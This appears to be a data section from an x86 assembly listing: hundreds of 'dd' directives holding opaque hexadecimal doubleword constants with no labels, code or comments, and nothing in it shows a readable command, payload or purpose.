dd 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h
dd 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h
dd 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h
dd 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h
dd 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h
dd 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh
dd 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h
dd 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h
dd 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh
dd 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h
dd 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h
dd 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch
dd 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh
dd 54CF2088h, 803C004Ah, 638A551h, 58A2B891h, 89000B15h
dd 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h
dd 706A6200h, 7899DF60h, 14510010h, 22836350h, 7D5C4161h
dd 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h
dd 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh
dd 80A66974h, 534018CFh, 48770061h, 0B37C577Dh, 4E019046h
dd 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh
dd 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h
dd 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h
dd 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h, 0F07C6462h
dd 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h
dd 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h
dd 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h
dd 581862h, 6C1C6847h, 77875166h, 31706B00h, 1D466365h
dd 74487140h, 1F077972h, 80615167h, 74945527h, 88070F28h
dd 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh
dd 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h
dd 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch, 3741150h
dd 61670046h, 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h
dd 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh
dd 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h, 48B07742h
dd 0B6006C63h, 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh
dd 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h
dd 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch
dd 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h
dd 0BB505Ch, 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h
dd 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h
dd 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh
dd 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h
dd 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h
dd 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h
dd 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h
dd 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h
dd 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h, 528033B2h
dd 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh
dd 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h
dd 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h
dd 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh
dd 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh
dd 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah
dd 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h, 1DF807C9h
dd 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh
dd 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h
dd 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h
dd 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h
dd 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h
dd 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h
dd 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h
dd 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh
dd 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h
dd 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h
dd 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h
dd 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h
dd 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h
dd 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh
dd 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh
dd 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h
dd 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h
dd 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h
dd 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h
dd 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h
dd 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h
dd 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h
dd 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h
dd 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h
dd 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh
dd 60923949h, 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h
dd 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h, 6583F0h
dd 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h, 0E333000Ah
dd 0D854045Fh, 0A90352EBh
dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh
dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh
dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh
dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h
dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h
dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h
dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh
dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h
dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h
dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h
dd 437EE0h, 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h
dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h, 7031188h
dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
dd 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch
dd 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h
dd 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h
dd 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh
dd 2EDC0941h, 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh
dd 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h
dd 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh
dd 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh
dd 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h
dd 1A91CB03h, 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h
dd 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h
dd 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h
dd 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h
dd 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h
dd 71E4CB2h, 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h
dd 0DB497190h, 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh
dd 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h
dd 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h
dd 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h
dd 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h
dd 4CC1E924h, 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h
dd 80CA8B2Eh, 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h
dd 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h
dd 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h
dd 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h
dd 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh
dd 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h, 3E0313A4h
dd 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h
dd 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h
dd 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h
dd 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh
dd 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h
dd 66ED10h, 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh
dd 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h
dd 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h, 0EE007EC9h
dd 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h
dd 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h
dd 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h
dd 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h
dd 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh
dd 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h, 6C60B3C7h
dd 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h
dd 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h
dd 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh
dd 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h
dd 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h
dd 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h
dd 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh
dd 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h
dd 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh
dd 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh
dd 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh
dd 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h
dd 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh
dd 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h
dd 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h
dd 2FBF0142h, 53A22A00h, 33001034h, 6547E788h, 3D180C04h
dd 0AB805249h, 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h
dd 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h
dd 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h
dd 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h
dd 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h
dd 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah
dd 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h
dd 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah
dd 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h
dd 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h
dd 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h
dd 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h, 6119CA17h
dd 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h
dd 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h
dd 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h
dd 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h
dd 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h, 0C419FED5h
dd 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h
dd 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch
dd 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h
dd 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h
dd 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh
dd 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh
dd 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h
dd 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h
dd 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh
dd 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h
dd 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh, 0F09587DCh
dd 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh
dd 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h
dd 0E5E8B780h, 0E2ABC8A0h
dd 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h
dd 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h, 31577242h
dd 43F8484Dh, 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h
dd 7C080C2Ch, 3B4C980h, 2B1F4BD6h, 0B0000A60h, 0C8022E18h
dd 3F800F06h, 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh
dd 2440D848h, 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h
dd 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh, 7570E000h
dd 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h
dd 73C6F600h, 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h
dd 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch
dd 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h, 39F00A7Bh
dd 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h
dd 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h, 0A2F10021h
dd 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h, 669CFA81h
dd 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h, 0EA7B8401h
dd 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h
dd 1739997Ah, 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh
dd 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh, 0A0026433h
dd 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh
dd 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh
dd 0BCC45424h, 791B200h, 4A0250h, 18066C74h, 3FEB2880h
dd 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h
dd 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h, 5A8A098h
dd 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h, 3C836F11h
dd 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h
dd 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h, 49A03Dh
dd 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h
dd 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h
dd 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh, 0AEF90312h
dd 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h
dd 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch, 8C66C700h
dd 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh
dd 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh
dd 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch
dd 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h
dd 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch
dd 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h
dd 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h
dd 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h
dd 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h
dd 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h
dd 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h, 3685944h
dd 30058B64h, 3C148500h, 421904F2h, 0C4080F02h, 4B80A829h
dd 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh
dd 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h
dd 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h, 97D36Bh
dd 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh
dd 600F713h, 560B245Bh, 1CCB3A73h, 9F92EBA7h, 403B1F3Dh
dd 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh
dd 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh
dd 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h
dd 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h, 0F97C1A18h
dd 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh, 57B3004Fh
dd 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h
dd 8A60083h, 962E5CF6h, 8EF87193h, 221FEC7Ah, 0B44F4175h
dd 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h
dd 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h, 95043D28h
dd 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h
dd 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h, 756E8441h
dd 8006604h, 4A92BE69h, 0E26B5B10h, 0F313E2E2h, 19C4B8DDh
dd 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh
dd 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah
dd 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h, 0FD702FC9h
dd 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h, 2B50296h
dd 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h
dd 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh, 50222C00h
dd 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h
dd 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h, 684C2B7Ah
dd 13D7614h, 66400885h, 0CCA8D753h, 5C6761EDh, 0ACC01C20h
dd 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh, 3C8B421Ch
dd 1B808980h, 472052D4h, 123B9028h, 9734CFAh, 0A94CFh
dd 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h, 0A33C201Dh
dd 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h, 5B382C00h
dd 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h
dd 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh
dd 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h, 0AB782AB0h
dd 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h
dd 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h, 0D7BC5Bh
dd 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh
dd 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh
dd 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h
dd 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah
dd 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h
dd 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h
dd 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h
dd 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h
dd 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h, 28AFEA00h
dd 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h
dd 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h
dd 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h
dd 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h
dd 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h
dd 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch, 89ABD00h
dd 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh
dd 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h, 0AD427BD8h
dd 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh, 0FFA48326h
dd 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h, 1749FA00h
dd 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h
dd 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch, 0DC20006Eh
dd 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h
dd 78803974h, 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh
dd 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh, 553A16h
dd 0FAED75F5h, 615097E0h
dd 0C30045Ch, 5A0689D8h, 2890005Fh, 0B56D7E9h, 42B85BC5h
dd 0DE1C5525h, 0BD340310h, 0B4EAB309h, 0F87877C1h, 0EC00FCF9h
dd 0C2B2FFCEh, 0B8901548h, 69F70059h, 1680827h, 2F000BD4h
dd 41EDCE80h, 152420h, 74664C94h, 1FFD389h, 840F3A00h
dd 113FA9F4h, 0BFDE0096h, 0CA02A0CCh, 30005308h, 0A30D1C64h
dd 9105CA5h, 0F34E8218h, 7DBA5080h, 2409D965h, 8B14285Eh
dd 126D00CFh, 3A551D89h, 0E0835AEDh, 0E9A878F5h, 6952A4F0h
dd 85C79900h, 77E80810h, 0F2C403AEh, 0F42133DEh, 527D23D0h
dd 0E2399902h, 405A353Ch, 91A92C9h, 366E194Fh, 16C0D08Fh
dd 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h
dd 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh
dd 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h, 84341F1Ch
dd 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h, 0F7031B31h
dd 24A0E742h, 150A0E8h, 0A798009Dh, 3EBF7DD8h, 0F53F97B4h
dd 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch, 0DF7C514Ch
dd 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h
dd 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h
dd 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh, 81F2DD18h
dd 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh
dd 5539D9h, 0A4CFAAACh, 0B6AB362Ah, 4ED25005h, 7BC04B56h
dd 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h
dd 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h
dd 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh
dd 54150027h, 0C7642994h, 5B0033A7h, 1E759546h, 15A9Bh
dd 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh, 0FA5E004Ah
dd 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h
dd 1FB9BF0h, 2B887700h, 317B53BBh, 7557D6Eh, 0F96AB121h
dd 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h, 0C001FEC8h
dd 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h
dd 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h
dd 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h, 157A25h
dd 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h
dd 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh, 44CFCCh
dd 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h
dd 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h, 37120143h
dd 3570A985h, 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h
dd 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h
dd 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h, 0A6F0997h
dd 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h, 6EC81D33h
dd 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h, 63C27A12h
